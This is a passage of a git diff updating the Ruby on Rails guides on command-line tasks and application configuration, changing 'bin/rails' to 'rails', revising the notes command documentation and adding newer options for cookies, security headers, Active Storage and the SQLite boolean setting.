-assets:precompile Compile all the assets ...
-...
-db:fixtures:load Loads fixtures into the ...
-db:migrate Migrate the database ...
-db:migrate:status Display status of migrations
-db:rollback Rolls the schema back to ...
-db:schema:cache:clear Clears a db/schema_cache.yml file
-db:schema:cache:dump Creates a db/schema_cache.yml file
-db:schema:dump Creates a db/schema.rb file ...
-db:schema:load Loads a schema.rb file ...
-db:seed Loads the seed data ...
-db:structure:dump Dumps the database structure ...
-db:structure:load Recreates the databases ...
-db:version Retrieves the current schema ...
-...
-restart Restart app by touching ...
-tmp:create Creates tmp directories ...
-```
-INFO: You can also use `bin/rails -T` to get the list of tasks.
-
-### `about`
-
-`bin/rails about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
-
-```bash
-$ bin/rails about
+$ rails about
About your application's environment
-Rails version 5.0.0
-Ruby version 2.2.2 (x86_64-linux)
-RubyGems version 2.4.6
-Rack version 1.6
+Rails version 6.0.0
+Ruby version 2.5.0 (x86_64-linux)
+RubyGems version 2.7.3
+Rack version 2.0.4
JavaScript Runtime Node.js (V8)
-Middleware Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
+Middleware: Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, ActiveSupport::Cache::Strategy::LocalCache::Middleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, ActionDispatch::RemoteIp, Sprockets::Rails::QuietAssets, Rails::Rack::Logger, ActionDispatch::ShowExceptions, WebConsole::Middleware, ActionDispatch::DebugExceptions, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
Application root /home/foobar/commandsapp
Environment development
Database adapter sqlite3
-Database schema version 20110805173523
+Database schema version 20180205173523
```
-### `assets`
+### `rails assets:`
-You can precompile the assets in `app/assets` using `bin/rails assets:precompile`, and remove older compiled assets using `bin/rails assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built.
+You can precompile the assets in `app/assets` using `rails assets:precompile`, and remove older compiled assets using `rails assets:clean`. The `assets:clean` command allows for rolling deploys that may still be linking to an old asset while the new assets are being built.
-If you want to clear `public/assets` completely, you can use `bin/rails assets:clobber`.
+If you want to clear `public/assets` completely, you can use `rails assets:clobber`.
-### `db`
+### `rails db:`
-The most common tasks of the `db:` bin/rails namespace are `migrate` and `create`, and it will pay off to try out all of the migration bin/rails tasks (`up`, `down`, `redo`, `reset`). `bin/rails db:version` is useful when troubleshooting, telling you the current version of the database.
+The most common commands of the `db:` rails namespace are `migrate` and `create`, and it will pay off to try out all of the migration rails commands (`up`, `down`, `redo`, `reset`). `rails db:version` is useful when troubleshooting, telling you the current version of the database.
More information about migrations can be found in the [Migrations](active_record_migrations.html) guide.
-### `notes`
+### `rails notes`
+
+`rails notes` searches through your code for comments beginning with a specific keyword. You can refer to `rails notes --help` for information about usage.
-`bin/rails notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations.
+By default, it will search in `app`, `config`, `db`, `lib`, and `test` directories for FIXME, OPTIMIZE, and TODO annotations in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js`, and `.erb`.
```bash
-$ bin/rails notes
-(in /home/foobar/commandsapp)
+$ rails notes
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] any other way to do this?
* [132] [FIXME] high priority for next deploy
-app/models/school.rb:
+lib/school.rb:
* [ 13] [OPTIMIZE] refactor this code to make it faster
* [ 17] [FIXME]
```
-You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up.
+#### Annotations
-```ruby
-config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
-```
-
-If you are looking for a specific annotation, say FIXME, you can use `bin/rails notes:fixme`. Note that you have to lower case the annotation's name.
+You can pass specific annotations by using the `--annotations` argument. By default, it will search for FIXME, OPTIMIZE, and TODO.
+Note that annotations are case sensitive.
```bash
-$ bin/rails notes:fixme
-(in /home/foobar/commandsapp)
+$ rails notes --annotations FIXME RELEASE
app/controllers/admin/users_controller.rb:
- * [132] high priority for next deploy
+ * [101] [RELEASE] We need to look at this before next release
+ * [132] [FIXME] high priority for next deploy
-app/models/school.rb:
- * [ 17]
+lib/school.rb:
+ * [ 17] [FIXME]
```
-You can also use custom annotations in your code and list them using `bin/rails notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
+#### Directories
+
+You can add more default directories to search from by using `config.annotations.register_directories`. It receives a list of directory names.
+
+```ruby
+config.annotations.register_directories("spec", "vendor")
+```
```bash
-$ bin/rails notes:custom ANNOTATION=BUG
-(in /home/foobar/commandsapp)
-app/models/article.rb:
- * [ 23] Have to fix this one before pushing!
+$ rails notes
+app/controllers/admin/users_controller.rb:
+ * [ 20] [TODO] any other way to do this?
+ * [132] [FIXME] high priority for next deploy
+
+lib/school.rb:
+ * [ 13] [OPTIMIZE] Refactor this code to make it faster
+ * [ 17] [FIXME]
+
+spec/models/user_spec.rb:
+ * [122] [TODO] Verify the user that has a subscription works
+
+vendor/tools.rb:
+ * [ 56] [TODO] Get rid of this dependency
```
-NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
+#### Extensions
-By default, `rails notes` will look in the `app`, `config`, `db`, `lib` and `test` directories. If you would like to search other directories, you can configure them using `config.annotations.register_directories` option.
+You can add more default file extensions to search from by using `config.annotations.register_extensions`. It receives a list of extensions with its corresponding regex to match it up.
```ruby
-config.annotations.register_directories("spec", "vendor")
+config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
```
-You can also provide them as a comma separated list in the environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
-
```bash
-$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
-$ bin/rails notes
-(in /home/foobar/commandsapp)
-app/models/user.rb:
- * [ 35] [FIXME] User should have a subscription at this point
+$ rails notes
+app/controllers/admin/users_controller.rb:
+ * [ 20] [TODO] any other way to do this?
+ * [132] [FIXME] high priority for next deploy
+
+app/assets/stylesheets/application.css.sass:
+ * [ 34] [TODO] Use pseudo element for this class
+
+app/assets/stylesheets/application.css.scss:
+ * [ 1] [TODO] Split into multiple components
+
+lib/school.rb:
+ * [ 13] [OPTIMIZE] Refactor this code to make it faster
+ * [ 17] [FIXME]
+
spec/models/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works
+
+vendor/tools.rb:
+ * [ 56] [TODO] Get rid of this dependency
```
-### `routes`
+### `rails routes`
`rails routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
-### `test`
+### `rails test`
INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
-Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+Rails comes with a test framework called minitest. Rails owes its stability to the use of tests. The commands available in the `test:` namespace helps in running the different tests you will hopefully write.
-### `tmp`
+### `rails tmp:`
The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions.
-The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory:
+The `tmp:` namespaced commands will help you clear and create the `Rails.root/tmp` directory:
* `rails tmp:cache:clear` clears `tmp/cache`.
* `rails tmp:sockets:clear` clears `tmp/sockets`.
-* `rails tmp:clear` clears all cache and sockets files.
-* `rails tmp:create` creates tmp directories for cache, sockets and pids.
+* `rails tmp:screenshots:clear` clears `tmp/screenshots`.
+* `rails tmp:clear` clears all cache, sockets, and screenshot files.
+* `rails tmp:create` creates tmp directories for cache, sockets, and pids.
### Miscellaneous
@@ -546,7 +570,7 @@ The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp`
Custom rake tasks have a `.rake` extension and are placed in
`Rails.root/lib/tasks`. You can create these custom rake tasks with the
-`bin/rails generate task` command.
+`rails generate task` command.
```ruby
desc "I am short, but comprehensive description for my cool task"
@@ -578,12 +602,12 @@ end
Invocation of the tasks will look like:
```bash
-$ bin/rails task_name
-$ bin/rails "task_name[value 1]" # entire argument string should be quoted
-$ bin/rails db:nothing
+$ rails task_name
+$ rails "task_name[value 1]" # entire argument string should be quoted
+$ rails db:nothing
```
-NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
+NOTE: If your need to interact with your application models, perform database queries, and so on, your task should depend on the `environment` task, which will load your application code.
The Rails Advanced Command Line
-------------------------------
@@ -629,9 +653,9 @@ $ cat config/database.yml
#
# Install the pg driver:
# gem install pg
-# On OS X with Homebrew:
+# On macOS with Homebrew:
# gem install pg -- --with-pg-config=/usr/local/bin/pg_config
-# On OS X with MacPorts:
+# On macOS with MacPorts:
# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
# On Windows:
# gem install pg
@@ -641,17 +665,20 @@ $ cat config/database.yml
# Configure Using Gemfile
# gem 'pg'
#
-development:
+default: &default
adapter: postgresql
encoding: unicode
+ # For details on connection pooling, see Rails configuration guide
+ # https://guides.rubyonrails.org/configuring.html#database-pooling
+ pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+
+development:
+ <<: *default
database: gitapp_development
- pool: 5
- username: gitapp
- password:
...
...
```
-It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
+It also generated some lines in our `database.yml` configuration corresponding to our choice of PostgreSQL for database.
NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index de921e2705..892634c261 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Configuring Rails Applications
==============================
@@ -32,7 +32,7 @@ Configuring Rails Components
In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
-For example, the `config/application.rb` file includes this setting:
+For example, you could add this setting to `config/application.rb` file:
```ruby
config.time_zone = 'Central Time (US & Canada)'
@@ -62,12 +62,10 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is `false`, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
-* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
+* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`. It is no longer recommended to adjust this. See [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html#autoload-paths-and-eager-load-paths)
* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to `false` in development mode, and `true` in test and production modes.
-* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
-
* `config.beginning_of_week` sets the default beginning of week for the
application. Accepts a valid week day symbol (e.g. `:monday`).
@@ -88,7 +86,7 @@ application. Accepts a valid week day symbol (e.g. `:monday`).
end
```
-* `config.eager_load` when `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+* `config.eager_load` when `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks, and any other registered namespace.
* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is `true`. All namespaces in the list must respond to the `eager_load!` method.
@@ -138,7 +136,7 @@ defaults to `:debug` for all environments. The available log levels are: `:debug
* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.cache_classes` is `true`, this option is ignored.
-* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`.
+* `secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get a random generated key in test and development environments, other environments should set one in `config/credentials.yml.enc`.
* `config.public_file_server.enabled` configures Rails to serve static files from the public directory. This option defaults to `true`, but in the production environment it is set to `false` because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to `true.` Otherwise, you won't be able to use page caching and request for files that exist under the public directory.
@@ -157,8 +155,6 @@ defaults to `:debug` for all environments. The available log levels are: `:debug
* `config.assets.enabled` a flag that controls whether the asset
pipeline is enabled. It is set to `true` by default.
-* `config.assets.raise_runtime_errors` Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`.
-
* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
@@ -169,7 +165,7 @@ pipeline is enabled. It is set to `true` by default.
* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
-* `config.assets.unknown_asset_fallback` allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer. Defaults to `true`.
+* `config.assets.unknown_asset_fallback` allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer. Defaults to `false`.
* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
@@ -204,6 +200,7 @@ The full set of methods that can be used in this block are as follows:
* `force_plural` allows pluralized model names. Defaults to `false`.
* `helper` defines whether or not to generate helpers. Defaults to `true`.
* `integration_tool` defines which integration tool to use to generate integration tests. Defaults to `:test_unit`.
+* `system_tests` defines which integration tool to use to generate system tests. Defaults to `:test_unit`.
* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `:js`.
* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
@@ -214,7 +211,7 @@ The full set of methods that can be used in this block are as follows:
* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
* `scaffold_stylesheet` creates `scaffold.css` when generating a scaffolded resource. Defaults to `true`.
-* `test_framework` defines which test framework to use. Defaults to `false` and will use Minitest by default.
+* `test_framework` defines which test framework to use. Defaults to `false` and will use minitest by default.
* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
### Configuring Middleware
@@ -278,7 +275,7 @@ config.middleware.delete Rack::MethodOverride
All these configuration options are delegated to the `I18n` library.
-* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+* `config.i18n.available_locales` defines the permitted available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
@@ -308,6 +305,10 @@ All these configuration options are delegated to the `I18n` library.
config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }
```
+### Configuring Active Model
+
+* `config.active_model.i18n_full_message` is a boolean value which controls whether the `full_message` error format can be overridden at the attribute or model level in the locale files. This is `false` by default.
+
### Configuring Active Record
`config.active_record` includes a variety of configuration options:
@@ -324,6 +325,10 @@ All these configuration options are delegated to the `I18n` library.
* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table.
+* `config.active_record.internal_metadata_table_name` lets you set a string to be used as the name of the internal metadata table.
+
+* `config.active_record.protected_environments` lets you set an array of names of environments where destructive actions should be prohibited.
+
* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
@@ -350,9 +355,9 @@ All these configuration options are delegated to the `I18n` library.
`config/environments/production.rb` which is generated by Rails. The
default value is `true` if this configuration is not set.
-* `config.active_record.dump_schemas` controls which database schemas will be dumped when calling db:structure:dump.
- The options are `:schema_search_path` (the default) which dumps any schemas listed in schema_search_path,
- `:all` which always dumps all schemas regardless of the schema_search_path,
+* `config.active_record.dump_schemas` controls which database schemas will be dumped when calling `db:structure:dump`.
+ The options are `:schema_search_path` (the default) which dumps any schemas listed in `schema_search_path`,
+ `:all` which always dumps all schemas regardless of the `schema_search_path`,
or a string of comma separated schemas.
* `config.active_record.belongs_to_required_by_default` is a boolean value and
@@ -362,14 +367,14 @@ All these configuration options are delegated to the `I18n` library.
* `config.active_record.warn_on_records_fetched_greater_than` allows setting a
warning threshold for query result size. If the number of records returned
by a query exceeds the threshold, a warning is logged. This can be used to
- identify queries which might be causing memory bloat.
+ identify queries which might be causing a memory bloat.
* `config.active_record.index_nested_attribute_errors` allows errors for nested
- has_many relationships to be displayed with an index as well as the error.
+ `has_many` relationships to be displayed with an index as well as the error.
Defaults to `false`.
* `config.active_record.use_schema_cache_dump` enables users to get schema cache information
- from `db/schema_cache.yml` (generated by `bin/rails db:schema:cache:dump`), instead of
+ from `db/schema_cache.yml` (generated by `rails db:schema:cache:dump`), instead of
having to send a query to the database to get this information.
Defaults to `true`.
@@ -377,9 +382,37 @@ The MySQL adapter adds one additional configuration option:
* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns as booleans. Defaults to `true`.
-The schema dumper adds one additional configuration option:
+The SQLite3Adapter adapter adds one additional configuration option:
+
+* `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`
+indicates whether boolean values are stored in sqlite3 databases as 1 and 0 or
+'t' and 'f'. Leaving `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`
+set to false is deprecated. SQLite databases have used 't' and 'f' to serialize
+boolean values and must have old data converted to 1 and 0 (its native boolean
+serialization) before setting this flag to true. Conversion can be accomplished
+by setting up a Rake task which runs
+
+ ```ruby
+ ExampleModel.where("boolean_column = 't'").update_all(boolean_column: 1)
+ ExampleModel.where("boolean_column = 'f'").update_all(boolean_column: 0)
+ ```
+
+ for all models and all boolean columns, after which the flag must be set to true
+by adding the following to your `application.rb` file:
+
+ ```ruby
+ Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true
+ ```
+
+The schema dumper adds two additional configuration options:
+
+* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file.
-* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.
+* `ActiveRecord::SchemaDumper.fk_ignore_pattern` allows setting a different regular
+ expression that will be used to decide whether a foreign key's name should be
+ dumped to db/schema.rb or not. By default, foreign key names starting with
+ `fk_rails_` are not exported to the database schema dump.
+ Defaults to `/^fk_rails_[0-9a-f]{10}$/`.
### Configuring Action Controller
@@ -403,13 +436,15 @@ The schema dumper adds one additional configuration option:
* `config.action_controller.per_form_csrf_tokens` configures whether CSRF tokens are only valid for the method/action they were generated for.
+* `config.action_controller.default_protect_from_forgery` determines whether forgery protection is added on `ActionController:Base`. This is false by default, but enabled when loading defaults for Rails 5.2.
+
* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
-* `config.action_controller.always_permitted_parameters` sets a list of whitelisted parameters that are permitted by default. The default values are `['controller', 'action']`.
+* `config.action_controller.always_permitted_parameters` sets a list of permitted parameters that are permitted by default. The default values are `['controller', 'action']`.
* `config.action_controller.enable_fragment_cache_logging` determines whether to log fragment cache reads and writes in verbose format as follows:
@@ -437,7 +472,10 @@ The schema dumper adds one additional configuration option:
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
- 'X-Content-Type-Options' => 'nosniff'
+ 'X-Content-Type-Options' => 'nosniff',
+ 'X-Download-Options' => 'noopen',
+ 'X-Permitted-Cross-Domain-Policies' => 'none',
+ 'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
```
@@ -456,10 +494,30 @@ to `'http authentication'`.
Defaults to `'signed cookie'`.
* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
-value. Defaults to `'encrypted cookie'`.
+ value. Defaults to `'encrypted cookie'`.
* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
-encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+ encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
+* `config.action_dispatch.authenticated_encrypted_cookie_salt` sets the
+ authenticated encrypted cookie salt. Defaults to `'authenticated encrypted
+ cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_cipher` sets the cipher to be
+ used for encrypted cookies. This defaults to `"aes-256-gcm"`.
+
+* `config.action_dispatch.signed_cookie_digest` sets the digest to be
+ used for signed cookies. This defaults to `"SHA1"`.
+
+* `config.action_dispatch.cookies_rotations` allows rotating
+ secrets, ciphers, and digests for encrypted and signed cookies.
+
+* `config.action_dispatch.use_authenticated_cookie_encryption` controls whether
+ signed and encrypted cookies use the AES-256-GCM cipher or
+ the older AES-256-CBC cipher. It defaults to `true`.
+
+* `config.action_dispatch.use_cookies_with_metadata` enables writing
+ cookies with the purpose and expiry metadata embedded. It defaults to `true`.
* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge`
method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation)
@@ -493,14 +551,14 @@ encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
-* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
-
* `ActionDispatch::Callbacks.after` takes a block of code to run after the request.
### Configuring Action View
`config.action_view` includes a small number of configuration settings:
+* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+
* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Model. The default is
```ruby
@@ -539,10 +597,23 @@ encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
error should be raised for missing translations.
* `config.action_view.automatically_disable_submit_tag` determines whether
- submit_tag should automatically disable on click, this defaults to `true`.
+ `submit_tag` should automatically disable on click, this defaults to `true`.
* `config.action_view.debug_missing_translation` determines whether to wrap the missing translations key in a `<span>` tag or not. This defaults to `true`.
+* `config.action_view.form_with_generates_remote_forms` determines whether `form_with` generates remote forms or not. This defaults to `true`.
+
+* `config.action_view.form_with_generates_ids` determines whether `form_with` generates ids on inputs. This defaults to `true`.
+
+* `config.action_view.default_enforce_utf8` determines whether forms are generated with a hidden tag that forces older versions of Internet Explorer to submit forms encoded in UTF-8. This defaults to `false`.
+
+* `config.action_view.finalize_compiled_template_methods` determines
+ whether the methods on `ActionView::CompiledTemplates` that templates
+ compile themselves to are removed when template instances are
+ destroyed by the garbage collector. This helps prevent memory leaks in
+ development mode, but for large test suites, disabling this option in
+ the test environment can improve performance. This defaults to `true`.
+
### Configuring Action Mailer
There are a number of settings available on `config.action_mailer`:
@@ -599,6 +670,12 @@ There are a number of settings available on `config.action_mailer`:
config.action_mailer.interceptors = ["MailInterceptor"]
```
+* `config.action_mailer.preview_interceptors` registers interceptors which will be called before mail is previewed.
+
+ ```ruby
+ config.action_mailer.preview_interceptors = ["MyPreviewMailInterceptor"]
+ ```
+
* `config.action_mailer.preview_path` specifies the location of mailer previews.
```ruby
@@ -631,6 +708,10 @@ There are a few configuration options available in Active Support:
* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`.
+* `config.active_support.use_sha1_digests` specifies whether to use SHA-1 instead of MD5 to generate non-sensitive digests, such as the ETag header. Defaults to false.
+
+* `config.active_support.use_authenticated_message_encryption` specifies whether to use AES-256-GCM authenticated encryption as the default cipher for encrypting messages instead of AES-256-CBC. This is false by default, but enabled when loading defaults for Rails 5.2.
+
* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
@@ -694,6 +775,8 @@ There are a few configuration options available in Active Support:
* `config.active_job.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging.
+* `config.active_job.custom_serializers` allows to set custom argument serializers. Defaults to `[]`.
+
### Configuring Action Cable
* `config.action_cable.url` accepts a string for the URL for where
@@ -705,6 +788,50 @@ main application.
You can set this as nil to not mount Action Cable as part of your
normal Rails server.
+
+### Configuring Active Storage
+
+`config.active_storage` provides the following configuration options:
+
+* `config.active_storage.variant_processor` accepts a symbol `:mini_magick` or `:vips`, specifying whether variant transformations will be performed with MiniMagick or ruby-vips. The default is `:mini_magick`.
+
+* `config.active_storage.analyzers` accepts an array of classes indicating the analyzers available for Active Storage blobs. The default is `[ActiveStorage::Analyzer::ImageAnalyzer, ActiveStorage::Analyzer::VideoAnalyzer]`. The former can extract width and height of an image blob; the latter can extract width, height, duration, angle, and aspect ratio of a video blob.
+
+* `config.active_storage.previewers` accepts an array of classes indicating the image previewers available in Active Storage blobs. The default is `[ActiveStorage::Previewer::PDFPreviewer, ActiveStorage::Previewer::VideoPreviewer]`. The former can generate a thumbnail from the first page of a PDF blob; the latter from the relevant frame of a video blob.
+
+* `config.active_storage.paths` accepts a hash of options indicating the locations of previewer/analyzer commands. The default is `{}`, meaning the commands will be looked for in the default path. Can include any of these options:
+ * `:ffprobe` - The location of the ffprobe executable.
+ * `:mutool` - The location of the mutool executable.
+ * `:ffmpeg` - The location of the ffmpeg executable.
+
+ ```ruby
+ config.active_storage.paths[:ffprobe] = '/usr/local/bin/ffprobe'
+ ```
+
+* `config.active_storage.variable_content_types` accepts an array of strings indicating the content types that Active Storage can transform through ImageMagick. The default is `%w(image/png image/gif image/jpg image/jpeg image/vnd.adobe.photoshop image/vnd.microsoft.icon)`.
+
+* `config.active_storage.content_types_to_serve_as_binary` accepts an array of strings indicating the content types that Active Storage will always serve as an attachment, rather than inline. The default is `%w(text/html
+text/javascript image/svg+xml application/postscript application/x-shockwave-flash text/xml application/xml application/xhtml+xml)`.
+
+* `config.active_storage.queue` can be used to set the name of the Active Job queue used to perform jobs like analyzing the content of a blob or purging a blog.
+
+ ```ruby
+ config.active_storage.queue = :low_priority
+ ```
+
+* `config.active_storage.logger` can be used to set the logger used by Active Storage. Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class.
+
+ ```ruby
+ config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)
+ ```
+
+* `config.active_storage.service_urls_expire_in` determines the default expiry of URLs generated by:
+ * `ActiveStorage::Blob#service_url`
+ * `ActiveStorage::Blob#service_url_for_direct_upload`
+ * `ActiveStorage::Variant#service_url`
+
+ The default is 5 minutes.
+
### Configuring a Database
Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.
@@ -783,8 +910,16 @@ development:
$ echo $DATABASE_URL
postgresql://localhost/my_database
-$ bin/rails runner 'puts ActiveRecord::Base.configurations'
-{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+$ rails runner 'puts ActiveRecord::Base.configurations'
+#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>
+
+$ rails runner 'puts ActiveRecord::Base.configurations.inspect'
+#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
+ #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
